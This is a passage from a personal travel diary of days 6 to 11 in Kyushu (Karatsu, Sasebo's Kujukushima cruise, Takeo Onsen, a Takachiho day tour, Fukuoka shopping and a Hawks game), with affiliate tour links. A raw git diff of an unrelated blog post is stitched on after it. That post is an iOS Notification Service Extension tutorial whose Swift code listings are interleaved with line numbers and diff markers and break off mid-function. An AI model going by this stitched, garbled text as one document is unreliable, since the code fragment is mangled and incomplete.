Here is a torii gate at the Hofuri Shrine, with the Hofuri Shrine and Hofuri Shrine Observatory on the mountain behind.

From the pedestrian entrance, take the elevator to B1 to enter the hiking area. Admission is free for pedestrians, but bicycles are charged a 20 yen toll. Also, be aware that there are wild boars in the area.

The trail is 780 meters long, straight all the way to the end, with a dividing line in the middle.

After passing through the gate, there are shops selling simple snacks. I bought an octopus cake to fill my stomach. (It’s chewy inside, crispy on the outside, with real octopus, delicious!)

From the opposite angle, you can see the Kanmon Bridge and the Moji Port Retro Observatory, giving a feeling of looking from Bali, Taiwan to Tamsui.

Continue hiking along the coast to the Karato Market.

On the way to the Karato Market, you will pass by the Akama Shrine, so it’s worth stopping by for a visit.

On the coast outside the Karato Market, many people buy food and have picnics outside. Although there are many people, it is still very clean. Since I was mainly sightseeing and not a big fan of raw food, I didn’t go inside to see, but it seemed crowded at lunchtime.

After the Karato Market, you can take a ferry back to Moji Port. You can buy tickets at the ticket machine outside the store on the other side. If you have time, you can also visit Ganryu Island (Let’s duel! The sacred place!).

It takes about 10 minutes to reach Moji Port. (It really feels like taking a ferry from Tamsui to Bali!)

As it started to rain when I returned to Moji Port, and I had visited Moji Port last year, I didn’t stay long and prepared to go to the station to pick up my luggage and head to Kokura and Hakata.

It’s around 14:00, and I checked the time to find that I would arrive at Karatsu Castle around 4:30. Every second counts, so I harnessed the power of New Taiwan Dollars (JPY) in Kokura, directly purchasing a ticket for the San’yo Shinkansen Kokura to Hakata segment, where the world’s fastest 300km/h bullet train races. It only takes 15 minutes to reach there (compared to 45 minutes for JR Express and 65 minutes for local trains).

The JR Pass Kyushu does not cover the San’yo Shinkansen (Kokura-Hakata segment). For Nozomi and Mizuho trains, you need to buy separate tickets at the Shinkansen platform. Using the JR Pass will result in denial of entry. Even if you accidentally enter or exit, you will be refused and need to purchase a ticket (based on past experience).⚠️

From JR Karatsu, it takes about 20 minutes to reach Karatsu Castle. I decided to take the highway bus, which drops off passengers before Karatsu Castle’s bridge. (It was my first time taking it!)

Upon arrival in Hakata, I took the subway to Tenjin Minami and stored my luggage in the underground shopping area. (Luckily, I found the last available locker at spot 2.)

From Exit 8 of Tenjin’s underground street, follow the signs to Fukuoka Mitsukoshi department store and head to the 3rd floor of Tenjin Bus Center to reach the bus stop.

As I was unsure about seat reservations and ticket purchases, I directly went to the counter to buy a ticket. After buying the ticket, feeling hungry, I grabbed a bread from Starbucks and queued up at the designated platform for boarding. (Later, I found out that no seat reservations are needed for Karatsu, and you can use a transportation card just like taking a bus. The fare is a fixed 1,100 JPY regardless of the stop.)

At 15:02, I boarded the high-speed bus to Karatsu (Hodoyabashi), with the bus occupancy rate at around 80%.

The image on the right shows the view of Fukuoka Tower from this road last year, and this year, it’s the view of Fukuoka Tower from this road. (A sense of time and space overlapping.)

Mainly commuting in Japan, after passing through Karatsu city, I was the only person left on the bus. I rode all the way to the final stop — Hodoyabashi.

Karatsu

[_KKday private car itinerary reference: “[Fukuoka Private Car Day Tour] Kyushu, Fukuoka PrefectureFukuoka Tower, Dazaifu Tenmangu Shrine, Ohori Park, Karatsu, Sakurai Futamiura, Yobuko Asaichi, Shima, Tenjin Underground StreetFlexible itinerary combination!”_](https://www.kkday.com/zh-tw/product/144234?cid=19365&ud1=cb65fd5ab770){:target=”_blank”}

After getting off, a short walk ahead is Hodoyabashi, and walking further back leads to Karatsu Castle. Seeing the view of the bridge and castle from this angle made all the traveling worthwhile.

Around 16:35, with only 25 minutes left before Karatsu Castle closed, I decided to take a stroll since I was already there.

Karatsu Castle requires a walk up a hill from below. With time running out, I turned left and took the elevator up to Maizuru Park next to it.

A one-way elevator ride costs 100 JPY. Purchase a ticket from the vending machine at the entrance and hand it to the staff.

The Tenshukaku is closed for visitors, just come up to see the scenery and Karatsu Castle.

Return to the entrance before the elevator closes, and walk back to JR Karatsu Station following the tourist map.

Take the stone wall path to Karatsu Shrine. (Few people on the way, desolate)

Karatsu Shrine (closed after 17:00), Former Karatsu Bank (designed by the same architect as Tokyo Station - Kingo Tatsuno).

Near the station is the Hikiyama Exhibition Hall (also closed after 17:00), where you can only see small models at the station.

Take JR back to Hakata (Tenjin Minami) when you arrive at Karatsu Station; encountered an issue when exiting the station, as it is JR Karatsu Station for entry and subway Tenjin Minami for exit, the station staff does not recognize JR Pass and requires a separate ticket for the whole journey (JR Karatsu to Tenjin Minami) QQ.

It was raining heavily in Hakata (the rain god was angry), so I bought a rice ball in Tenjin Underground Street for dinner and headed to the hotel with my luggage.

APA Hotel Fukuoka-Watanabedori EXCELLENT

This APA hotel has a larger space, but the overall facilities are quite old. It was my first time staying in an APA without a unit bath, and there is no hot spring bath, smart integration (check washing machines, Airplay…).

Snack was strawberry smoothie, late-night snack was convenience store fried chicken, and Akiya (very sweet).

End of a long day.

Day 7 Sasebo (99 Islands), Takeo Onsen

It was cloudy in the morning, also the last day of JR Pass, unable to change the itinerary, had to continue taking the train to Sasebo.

JR journey takes about an hour and a half, recorded a segment of the JR Kyushu train broadcast as a memory.

The last segment from Saga to Sasebo will be reversed (about 10 minutes). If you are afraid of motion sickness, you can use your feet to block and switch the direction of the seat.

After exiting Sasebo Station, cross the road to the opposite side and walk to find bus stop No. 6, heading to “Kujukushima Aquarium.”

Transfer to a bus to Kujukushima Aquarium Station and walk about 5 minutes to the Kujukushima Cruise Visitor Center, where you can buy tickets to board the ship. (Show your JR Pass for a discount)

KKday Online Ticket Purchase: Japan Kyushu Nagasaki | Kujukushima Cruise Ticket

Kujukushima Cruise

[Kujukushima Official Website Information](https://www.99cruising.jp/zh_TW/timetable/){:target="_blank"}

Kujukushima Official Website Information

This time, I boarded the white Pearl Queen at 11:00.

Heavy rain, bad weather, unable to become the king of the sea, can only hold an umbrella, blow the wind, and get wet in the rain.

Sasebo Kujukushima Cruise (Tragic Rainy Day)

There are broadcasts in Chinese, English, Japanese, and Korean on board, the journey takes about 50 minutes, there are toilets and a shop.

You can go up to the deck and birdwatching platform outside the cabin, but we didn’t go up due to heavy rain and strong winds that day.

When the ship passes between two islands, the wind can be particularly strong, so be careful.

There are seats inside the cabin.

After the tour in heavy rain without seeing much, we returned to Sasebo all the way.

On the way back, stop by Hachi no Ie to taste the famous lemon steak from Sasebo.

Lemon steak is four thin slices of steak + sauce + lemon slices + lemon juice, refreshing taste, slightly insufficient amount of meat.

After eating, I ordered another specialty fruit puff, which is filled with generous fillings and real fruit chunks inside.

After eating, I strolled through the shopping street and took the bus back to the station.

Taking the train back to (Hakata, Takeo Onsen) direction, this is the terminal station, so you have to wait for the cleaning staff to finish cleaning before boarding; just like when you came, the train will reverse from Early Qi to Sasebo.

The time is about 13:30.

You can also go to Huis Ten Bosch in Sasebo, but I didn’t specifically plan to go there.

KKday Sasebo reference itinerary:

Japan Nagasaki|Kyushu Huis Ten Bosch Ticket

Japan Nagasaki|Sasebo SASEBO Military Port Yacht Tour

【Sasebo】Shore Excursion|Resorts World One

99 Islands Aquarium Higiria Admission Ticket + Pearl String Experience (with pearls) (Sasebo City, Nagasaki Prefecture)

Takeo Onsen

_KKday itinerary reference: “Kyushu Saga One-day TourYutoku Inari Shrine, Ureshino Onsen, Mikunoyama Park, Takeo Library & Takeo Shrine/Tosu Premium OutletsDeparting from Fukuoka Hakata”_

Last time I changed trains at Takeo Onsen on the way to Nagasaki, I didn’t have much impression of this station. Later, I followed Takeo City’s tourism IG (the official account regularly holds events, such as free firefly shuttle service, if you want to go to Takeo for hot springs and accommodation, you can follow it.) This time I thought it was a good opportunity to pass by + had time to take a look.

From Takeo Station (unmanned station, no need to insert JR Pass, just exit), when you come out on the street, there are few people and it’s very quiet.

Just passing by, I only went to the main attractions I found, which happened to be diagonally opposite. There are not many bus schedules, and I didn’t want to wait, so I walked directly.

First, I went to Takeo Shrine, and on the way, you will pass by Tsukasaki Okusu, a small attraction.

Tsukasaki Okusu, estimated to be 2,000 years old.

Takeo Shrine

From the bottom, walk up a short flight of stairs to the Takeo Shrine.

Next to the Takeo Shrine, pass through the sacred tree gate and walk about 5 minutes to see the legendary Takeo Great Camphor Tree. (Estimated age of the tree is 3,000 years.)

The Takeo Great Camphor Tree is enclosed and can only be viewed from a distance.

Bought a Takeo Shrine Great Camphor Tree guardian charm (1,500 yen), larger in size + wooden box.

After visiting the Takeo Shrine, walk back to see the other side of the Horaiyu Monument.

The entire hot spring street is deserted, with several hot springs and hotels to choose from (not necessarily Horaiyu), if you want a quiet and convenient transportation option for hot spring bathing in Kyushu, Takeo Onsen is a great choice!

Horaiyu Monument

Just a visit here.

After entering the monument, there is the Horaiyu hot spring for bathing, and on the other side, there is the Egret Hot Spring for accommodation.

Takeo City tourist map, found information about the Mifuneyama Rakuen which looks good, but it was already around 15:30, too late to go.

Boarded the express train to Hakata, returned to Hakata around 18:00.

Strolled back to the hotel, dinner casually solved at the convenience store, rice balls, pork cutlet sandwich, Fujiya Peach Soda (delicious!); stayed at APA and Toyoko Inn many times before realizing they have ice makers, so cool!

Excluding the old equipment, the room size and view of this APA hotel are really nice.

Day 8 Sakurai Futamiura, Meoto Iwa, Minami Zokyo-in, Hakata Tour

No more JR Pass.

[_KKday charter itinerary reference: “[Fukuoka Charter Day Tour] Kyushu, Fukuoka PrefectureFukuoka Tower, Dazaifu Tenmangu Shrine, Ohori Park, Karatsu, Sakurai Futamiura, Yobuko Asaichi, Itoshima, Tenjin Underground StreetFlexible itinerary combination!”_](https://www.kkday.com/zh-tw/product/144234?cid=19365&ud1=cb65fd5ab770){:target=”_blank”}

Sakurai Futamiura, Meoto Iwa

After checking out of the hotel in the morning, take the JR to Kyudai Kenkyu Toshi Station.

Upon exiting, the platform for the Nishi-no-Ura Line is on the left-hand side, with staff guiding the way, the ride takes about 30 minutes.

The fare is the highest bus fare I have taken, 730 Japanese yen.

After getting off, it is the couple rocks of Sakurai Futamiura.

It looks very beautiful and peaceful.

After this, you can visit Sakurai Shrine (it is said that many fans go there to pay homage because it has the same name as the Japanese group Arashi members) or go further to Kaiya Omon Sightseeing Boat (looks cool!).

The return schedule, direct to Hakata every hour in the afternoon, and to Kyudai University Research City Station every hour.

Back to Hakata around 12:30 noon, first go for food.

Visit again Hakata Miyachiku (Japan’s Miyazaki beef specialty store Hakata Miyachiku) to taste Miyazaki beef commercial lunch.

The commercial lunch has a high cost-performance ratio (the evening offers high-end yakiniku set meals) + individual compartments for social anxiety.

This time I ordered the lean meat set meal 200g for 3,200 Japanese yen, and devoured two bowls of rice (rice soup is free to refill).

Nanzoin

After returning to Hakata, take the train to Nanzoin-mae Station.

Walk out of the station, pass by Kojin Tea House (you can take a break and have lunch here), cross the street, and you will reach the entrance of Nanzoin.

  • Visit the reclining Buddha on the right, and there are also statues for seeking marriage, peace, and Fudo Myoo on the left.
  • Nanzoin is a private institution and has enshrined pagodas, so there are more rules and prohibited photography areas that need to be followed. Prohibited: short sleeves, shorts, exposed midriff or shoulders, playing music, dancing, photography (e.g., entrance cave with rows of pagodas, Fudo Myoo statue)

After climbing the platform, you can see the main statue of the reclining Buddha, with scriptures on the soles of the feet, overall very magnificent and solemn.

After the visit, take the train back to Hakata Station, arriving around 15:40.

Hakata Pilgrimage

Visit some places in Kyushu that were missed last time.

Gion - Tochoji Temple

You can visit the Fukuoka Daibutsu on the second floor of Tochoji Temple (50 yen). After the visit, you can have dinner at 17:00 at the Teppan Fried Dumplings Iron Pot, which is open for another hour, and then go to Ohori Park.

Ohori Park

Ohori Park is quite large, it takes about 45 minutes to walk around; you can also ride a swan boat.

Fukuoka City Art Museum is closed on Mondays, so you can only admire Yayoi Kusama’s pumpkin from a distance.

By the time you finish exploring, it’s about 17:00, time for dinner!

Teppan Fried Dumplings Iron Pot

I’ve been here once before and still remember the crispy fried dumplings.

There is another branch - Teppan Fried Dumplings Iron Pot Hakata Gion Store, but when I passed by a few days ago, the door was locked with a notice saying it’s under renovation, please visit the main store. (However, Google Maps still shows it’s open)

Self-service for sauce and water.

The store only accepts cash, no electronic payments. ⚠️

Around 17:20, seeing people waiting outside, shortly after, the elderly lady staff came out to welcome us in.

This time I knew to order two servings of fried dumplings. Last time, the elderly lady gestured that one serving wasn’t enough (I didn’t understand at that time), 1 serving with 8 dumplings (500 yen), two servings with 16 dumplings, and a glass of draft beer to end this round!

The dumplings are freshly made and fried, they sizzle when served, the skin is thin and crispy, and the filling is probably chive and pork, simple, not salty, and full of the ingredients’ own flavors.

After finishing eating at 18:00, some people started queuing outside.

After dinner, on the way back to the hotel, passing by the preparations for Nakasu Yatai, this time I found many shared bicycles.

Tokyu Inn Fukuoka Tenjin

I’ve been changing hotels this time, so tired; this is the hotel for the last three days.

For dessert, ice cream, and late-night snack, a convenience store hot dog.

Day 9 KKDAY Takachiho Day Tour, Takachiho Shrine, Takachiho Gorge, Amano Iwato Shrine, Tian’an River

[**Join the “【Group Tour, Daily Departure】Japan Kyushu Day TourTakachiho Gorge & Amano Iwato Shrine & Tian’an River (including special Aso Akagyu BBQ set meal)Departing from Fukuoka” itinerary directly.**](https://www.kkday.com/zh-tw/product/32511-kyushu-chinese-guided-day-tour-from-fukuoka-takachiho-gorge-kamishikimi-kumanoimasu-shrine-amanoiwato-shrine?cid=19365&ud1=cb65fd5ab770){:target=”_blank”}

For departures from other locations (Kumamoto) or combining with other attractions (Aso, Minami Aso, Shirakawa Water Source), please refer to other itineraries on KKday.

Depart for Hakata Station Hakozaki Exit (Hakata Back Station) before 07:45 in the morning

Find the guide for the day trip to your destination in front of the square at LAWSON Hakata Station Hakozaki Exit Store. (There will be several groups at the same time, including those led by KKDAY, EasyGo, those going to Takachiho, those going to Yufuin, etc.)

The guide (Chinese) has a list and will tell you the car number after check-in. Remember the car number and you can board directly.

Seats are first-come, first-served. If there are special circumstances (car sickness), please inform the guide.

Departure when everyone is present at 08:00

  • Guide self-introduction (Shinonome), in Chinese, English, and Japanese
  • Introduction of the itinerary, the guide says that the Takachiho day trip is the farthest and most tiring among all day trip options 😂
  • WiFi on the bus (but not very stable)
  • Always wear your seatbelt ⚠️
  • Mostly Taiwanese
  • Introduction to Takachiho Shrine, checking if anyone has made a reservation for rowing
  • Approximately 3 hours to reach the first Takachiho Shrine

About Takachiho Rowing

Takachiho Rowing requires a reservation three days in advance, with limited slots for each time slot ⚠️

Takachiho Rowing requires a reservation three days in advance, with limited slots for each time slot ⚠️

Takachiho Rowing requires a reservation three days in advance, with limited slots for each time slot ⚠️

The rowing journey is not long, it should end in about 30-45 minutes round trip. Lunch will be finished around 12:00, the Takachiho itinerary will end around 13:20, and you will need to gather again for the return.

Three groups in our tour have reservations.

Therefore, if you want to combine a day trip with a rowing reservation, 12:00 / 12:30 would be a more suitable time. ⚠️

After lunch, you will need to walk to Takachiho Gorge. If you have a rowing reservation or feel that you cannot handle it physically, the guide will arrange a shuttle directly to save time.

It is still recommended to follow the arrangements made by KKDAY. Before making a reservation, it is advisable to inquire with the official to ensure there are no issues. ⚠️

Rest stop at 9:20

Due to the long journey, there will be a 10-minute rest stop at a rest area for everyone to use the restroom and stretch.

Arrival at Takachiho Shrine at 10:50

Takachiho Shrine is surrounded by sacred trees, exuding a tranquil and fresh atmosphere.

Japanese Cedar, the guide mentioned in the car that if you come with family, couples, lovers, or friends, you can hold hands and walk around the tree three times for blessings.

Around 11:20 return to the gathering point and get back on the bus.

11:30 Lunch at Takachiho Cuisine Kagura Inn

After visiting Takachiho Shrine, head to have lunch nearby.

Slippers are required, and it feels like a Japanese restaurant specifically for group tourists, but it was my first experience at a Japanese restaurant.

The overall quality of the food was average, leaning towards mediocre, possibly due to the large group resulting in most dishes being cold and the meat being average.

12:15 Start hiking to Takachiho Gorge (all the way downhill)

After lunch, follow the guide downhill to Takachiho Gorge.

After about a 20-minute walk, you can see Takachiho Gorge, and from this angle, you can see the end of the gorge (the boat stop line).

12:45 Arrive at Takachiho Gorge

Looking back at the ancient road and the boat below from the bridge on the Takachiho side.

The boating area is just down the bridge, and the total length (to the stop line seen earlier) is about 250 meters.

There is a small park and shopping street where you can have ice cream or snacks to recharge.

13:20 Gather again and return to the tour bus

Around 13:45 Arrive at Amano Iwato Shrine Main Shrine (additional itinerary during cherry blossom season)

After touring the bus, walk about 5 minutes to the Nishihongu of Amano Iwato Shrine, where different masks of gods are hung at the storefronts.

Image

Image

The guide will supplement the story of Amaterasu, the Sun Goddess, introduced on the tour bus.

To go to Amano Iwato, you need to walk a short distance. The guide will walk with everyone to Amano Iwato first, and then you can explore freely (or follow the guide back).

Around 14:00 Walk to Amano Iwato

Image

Image

Image

Image

Around 14:15 Arrive at Amano Iwato

Image

Image

Image

Image

Image

The Amano Iwato Cave is where Amaterasu, the Sun Goddess, once hid; the torii gate of the shrine is surrounded by stones left by worshippers.

On the way back from the visit, you will pass by an ice cream shop.

Image

Image

Everyone lined up for ice cream here, and also tried the local Miyazaki mango ice cream (900 yen). The guide said Miyazaki mangoes are high-quality, but honestly, Taiwanese mangoes have more mango flavor.

After a rest, slowly walk back to visit Amano Iwato Shrine.

Around 15:10 Gather for the return journey

Image

After the last itinerary, it was already past 3 o’clock in the afternoon, and it was time to return (still a three-hour drive back to Fukuoka).

Around 16:40 Stop at a rest area

Image

On the return journey, there will also be a stop at a rest area for everyone to use the restroom and stretch their legs.

Around 18:00 Return to Hakata Station Chikushi Exit (Hakata Bus Terminal)

Image

The itinerary ends smoothly. Thank you for Ishinamu’s guidance and itinerary arrangement.👏👏👏👏👏.

Image

Image

Image

For dinner, I casually bought a convenience store hot dog, the rice ball from the Tenjin Underground Street that I had a few days ago on Day 6, and the new grape-flavored Suntory drink was delicious!! I also had a BRULEE for dessert.

Good night.

Day 10 Shopping in Hakata, Tenjin, and watching baseball at PayPay Dome

The sightseeing itinerary in Kyushu is almost coming to an end, with nearly two days left for shopping and shopping.

In the morning, I went to Don Quijote (24 hr) for some simple shopping. The Tenjin Main Store is very spacious, with several floors to explore.

Visited the department store near Hakata Station around noon, bought souvenirs, Fukuoka-produced sake, Nagasaki cake from Fukusaya, Kokura Meigetsu rice crackers, and more.

Returned to the Tenjin area in the afternoon, explored Tenjin Underground Street, Le Labo, Iwataya Department Store, Mitsukoshi Department Store, and many more (lots of department stores in Tenjin).

Just ran out of Le Labo Another 13 perfume, so bought a 50ml bottle this time (around $5,800 NTD after tax refund).

Had fun twisting a cute bus stop button at C-pla in Tenjin XD

[Bus Stop Button Light Mascot 2 with Sound [Full Set of 5 (Full Comp)]] (https://www.youtube.com/watch?v=JwwjYSU20-c){:target=”_blank”}

It makes a sound when pressed XD.

Carrying the loot back to the hotel, had a hot dog, dessert, and a must-try in Japan! Coca-Cola!

Canal City Hakata

After a rest, headed out again and arrived at Canal City Hakata at 16:30.

Mainly went to the huge gachapon store on B1.

https://gofukuoka.jp/en/spots/detail/196050

https://gofukuoka.jp/en/spots/detail/196050

Finished shopping and headed to Hakata Station.

Around 17:30, took a bus from Hakata Station to PayPay Dome, watched a baseball game at 18:00.

Fukuoka SoftBank Hawks Game @ Fukuoka PayPay Dome Stadium

Today’s match-up: Fukuoka SoftBank Hawks vs. Tokyo Yakult Swallows

Some Entry Rules Reminders : Open bags for security check, no outside food allowed, can bring a bottle of tea or water, no outside alcohol allowed, drinks and food available inside, remember to get a re-entry permit if leaving and returning.

The mascot of Fukuoka SoftBank Hawks is named Harry, had to come and support the team at the game.

Last time I sat in the more expensive infield area, this time I wanted to experience the atmosphere by sitting in the cheapest seats. I thought there were general admission seats, but it turned out to be all reserved seats, so I chose a seat on the last row on the outfield side near the edge for easy access (the chairs on this side of the outfield don’t have backs, the advantage is it’s easier to move in and out).

I can’t help but admire the sports culture in Japan. On weekdays and evenings at 18:00, the stadium has about 40,000 seats, almost full, and when selecting seats, there were no entire rows empty or seats in the corners.

The view and distance were much different compared to last time.

This time, the team was significantly behind, ending with a 9-3 defeat, no fireworks to watch, but I also witnessed the cheering activities of both teams (Fukuoka SoftBank Hawks’ balloon cheering and Tokyo Yakult Swallows’ umbrella dance cheering).

Around the 7th inning with the score already 9-1, people started leaving one after another, and I didn’t see the end either.

The bus stop was crowded as well, and just like last time, I walked back to the subway station with the crowd (about 15 minutes).

Before resting at the hotel, I deliberately took a last look at the night view of Nakasu Yatai in the alley.

Late-night snack, Nissin Donbei tofu noodles (first time trying it after so many days), fruit wine from Oita, and convenience store fried chicken (Juicy and delicious).

Day 11 Lalaport, Hakata Shopping, Tenjin Shopping, Return Journey

Unknowingly, it has been 11 days abroad, and I have started to miss Taiwanese cuisine. There is still plenty of time to wander around before the 21:00 flight.

The main souvenirs have been bought and packed, so today is just about wandering around to find the gachapon machines at the train stations (ultimately didn’t find any, referring to the list of stores provided by the manufacturer, the ones in the city were all sold out).

Lalaport

Early in the morning, I went to Lalaport for a stroll. (Opens at 10 am)

On the first floor, there was a cool drink cabinet converted from a Seibu bus.

The main purpose was to visit the Gachagacha Forest on the third floor and Pon! under the escalator on the first floor to see if they had the capsule toys I was looking for. (They didn’t)

Approaching 11 am and feeling hungry as I hadn’t had breakfast, I had seafood tempura rice bowl at the food street on the third floor to satisfy my hunger (found it too salty).

Then, I went back to the first floor to buy a strawberry daifuku from Rokkasen to refresh myself.

Unable to find the capsule toys I was looking for, I left Lalaport and returned to Hakata Station. Inside 1010 as well, there was no Pon! to be found.

I also couldn’t find the capsule toys area at Hakata Yodobashi.

After the unsuccessful search in Hakata, I went to the Tenjin area to look for capsule toy shops, but still no luck.

Finally giving up, I went to explore Animate and Kiddy Land upstairs (with a wide variety of character goods).

Around 4:00 pm, nearing the end of this trip, I sat at Cafe de Miki to have dessert and coffee for a break.

Around 5:00 pm, I returned to the hotel to pick up my luggage and slowly made my way to Fukuoka Airport. I thought there would be a lot of people on the subway around 5 pm, but it was not crowded at all.

It’s quite a distance from Tenjin Minami to Tenjin, and it takes about 15 minutes to walk with luggage.

Taking the airport line to Fukuoka Airport Station (domestic terminal), I then had to transfer to the airport shuttle bus (free) to the international terminal.

The airport shuttle buses run frequently, about every 5-10 minutes, with a journey of about 10 minutes. After getting off, there is still a walk to the 3F departure hall. If you include the time to get out of the subway station, it will take an additional +30 minutes to reach the international terminal.

Fukuoka Airport is currently under renovation, so it’s a bit chaotic.

I arrived at the airport too early, and the counters were not open yet. The ground staff directed us to do self-check-in at counter 1 and then self-check baggage at counter 2, where they would assist us. We quickly completed the baggage check-in (this time only 17 kg).

Around 6:30 pm, I started waiting for boarding.

The departure lounge at Fukuoka Airport is long and narrow, with a lot of people, very chaotic and crowded. (Not sure if it’s due to ongoing renovations and many flights waiting to take off).

The duty-free shops for premium and cosmetics are quite comprehensive, and the staff can speak Chinese; there are also souvenir shops (here you can find Fukusaya Nagasaki cakes); the tobacco and alcohol duty-free shop has only one store where you have to queue, and as for food, it’s even more crowded than convenience stores, so be prepared to wait in line.

Image 1

A special announcement for the previous flight CI129 at 19:10: Please comply with China Airlines’ rule of carrying only one piece of carry-on luggage; if you exceed this, you will need to purchase an additional one (this flight seems fully booked).⚠️

Feeling that the area behind is too noisy and chaotic, I walked towards the north of 501-504, where there are fewer people; there is also a cafe and a fast-food restaurant where you can grab something to eat.

Image 2

I bought a simple pork cutlet sandwich, a few cans of cola, and peach water to bring back to Taiwan.

Image 3

Image 4

Boarding started around 20:30, and there was no specific rule for checking only one piece of carry-on luggage (but I had already packed everything into one bag… ); we were ready to take off at 21:00, actually took off at 21:09, and the aircraft was an A330-300, which is relatively old.

Image 5

Image 6

Goodbye Kyushu, goodbye Japan. The airplane meal was ginger-flavored pork fried noodles, not very impressive, but they served cantaloupe!

Image 7

Encountering turbulence throughout the flight, we landed smoothly in Taiwan after a bumpy ride, with a delay of nearly 30 minutes, arriving close to 23:00 (scheduled for 22:25).

Image 8

Worried about missing public transportation, I ran all the way, missed the Airport MRT but luckily caught the shuttle bus in the end; otherwise, I would have had to take an unsafe unlicensed taxi back to Taipei.

Route 1819 , my goodness, the journey to Taipei Main Station takes about 55 minutes.

Image 9

As shown in the image above, if you need to get off at a stop along the way, please inform the driver in advance when loading your luggage; otherwise, all passengers getting off at Taipei Main Station will have their luggage placed together. If you need to get off midway, you won’t be able to access your luggage.⚠️

Around midnight on 6/14, I returned to my cozy home, concluding this 11-day journey.

I averaged around 20,000 steps per day, with the highest reaching 27,000 steps.

Loot

Image 10

Image 11

I missed capturing the box on the right, which contained shrimp crackers that I found delicious at a department store food street in Hakata Station.

Souvenirs from Various Places in Japan

Image 12

This time, I added four of the Seven Lucky Gods, a mini beer, and a Kachikohsu (dog) Inu Year amulet.

The background newspaper was a gift from Le Labo.

Finally, thank you for reading my travel diary; also, thanks to my travel companion James this time.

Inspiration for the Next Trip

  • Southeast Asia
  • Landing in southern Kyushu Kagoshima -> Oita -> Sunflower Cruise -> Kobe -> Himeji Castle -> Amanohashidate -> Return from Nagoya Airport
  • Northeast region, Sendai

KKday Promotion

More Travel Journals

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS

Research on Preloading and Caching Page and File Resources in iOS WKWebView

diff --git a/posts/cb6eba52a342/index.html b/posts/cb6eba52a342/index.html new file mode 100644 index 0000000000..4c49c046cb --- /dev/null +++ b/posts/cb6eba52a342/index.html @@ -0,0 +1,243 @@ + iOS ≥ 10 Notification Service Extension Application (Swift) | ZhgChgLi
Home iOS ≥ 10 Notification Service Extension Application (Swift)
Post
Cancel

iOS ≥ 10 Notification Service Extension Application (Swift)

iOS ≥ 10 Notification Service Extension Application (Swift)

Image push notifications, push notification display statistics, pre-processing before push notification display

Regarding the basics of push notification setup and principles; there is a lot of information available online, so it will not be discussed here. This article focuses on how to enable the app to support image push notifications and use new features to achieve more accurate push notification display statistics.

As shown in the image above, the Notification Service Extension allows you to pre-process the push notification after the app receives it, and then display the push notification content.

The official documentation states that when we process the incoming push notification content, the processing time limit is about 30 seconds. If the callback is not made within 30 seconds, the push notification will continue to execute and appear on the user’s phone.

Support

iOS ≥ 10.0

What can be done in 30 seconds?

  • (Goal 1) Download the image from the image link field in the push notification content and attach it to the push notification content 🏆

  • (Goal 2) Statistics on whether the push notification was displayed 🏆
  • Modify and reorganize the push notification content
  • Encrypt and decrypt (decrypt) the push notification content for display
  • Decide whether to display the push notification? => Answer: No

First, the Payload part of the backend push notification program

The structure of the backend push notification needs to add a line "mutable-content":1 for the system to execute the Notification Service Extension when it receives the push notification

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
{
+    "aps": {
+        "alert": {
+            "title": "New article recommended for you",
+            "body": "Check it out now"
+        },
+        "mutable-content":1,
+        "sound": "default",
+        "badge": 0
+    }
+}
+

And… Step one, create a new Target for the project

**Step 1.** Xcode -> File -> New -> Target

Step 1. Xcode -> File -> New -> Target

**Step 2.** iOS -> Notification Service Extension -> Next

Step 2. iOS -> Notification Service Extension -> Next

**Step 3.** Enter Product Name -> Finish

Step 3. Enter Product Name -> Finish

**Step 4.** Click Activate

Step 4. Click Activate

Step two, write the push notification content processing program

Find the Product Name/NotificationService.swift file

Find the Product Name/NotificationService.swift file

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+
import UserNotifications
+
+class NotificationService: UNNotificationServiceExtension {
+
+    var contentHandler: ((UNNotificationContent) -> Void)?
+    var bestAttemptContent: UNMutableNotificationContent?
+
+    override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) {
+        self.contentHandler = contentHandler
+        bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent)
+        
+        if let bestAttemptContent = bestAttemptContent {
+            // Modify the notification content here...
+            // Process the push notification content here, load the image back
+            bestAttemptContent.title = "\(bestAttemptContent.title) [modified]"
+            
+            contentHandler(bestAttemptContent)
+        }
+    }
+    
+    override func serviceExtensionTimeWillExpire() {
+        // Called just before the extension will be terminated by the system.
+        // Use this as an opportunity to deliver your "best attempt" at modified content, otherwise the original push payload will be used.
+        // Time is about to expire, ignore the image, just modify the title content
+        if let contentHandler = contentHandler, let bestAttemptContent =  bestAttemptContent {
+            contentHandler(bestAttemptContent)
+        }
+    }
+
+}
+

As shown in the code above, NotificationService has two interfaces; the first one is didReceive, which is triggered when a push notification arrives. After processing, you need to call the contentHandler(bestAttemptContent) callback method to inform the system.

If the callback method is not called within a certain time, the second function serviceExtensionTimeWillExpire() will be triggered due to timeout. At this point, there’s not much you can do except some final touches (e.g., simply changing the title or content without loading network data).

Practical Example

Here we assume our payload is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
{
+    "aps": {
+        "alert": {
+            "push_id":"2018001",
+            "title": "New Article Recommended for You",
+            "body": "Check it out now",
+            "image": "https://d2uju15hmm6f78.cloudfront.net/image/2016/12/04/3113/2018/09/28/trim_153813426461775700_450x300.jpg"
+        },
+        "mutable-content":1,
+        "sound": "default",
+        "badge": 0
+    }
+}
+

“push_id” and “image” are custom fields. The push_id is used to identify the push notification for easier tracking and reporting back to the server; the image is the URL of the image content to be attached to the push notification.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+
override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) {
+    self.contentHandler = contentHandler
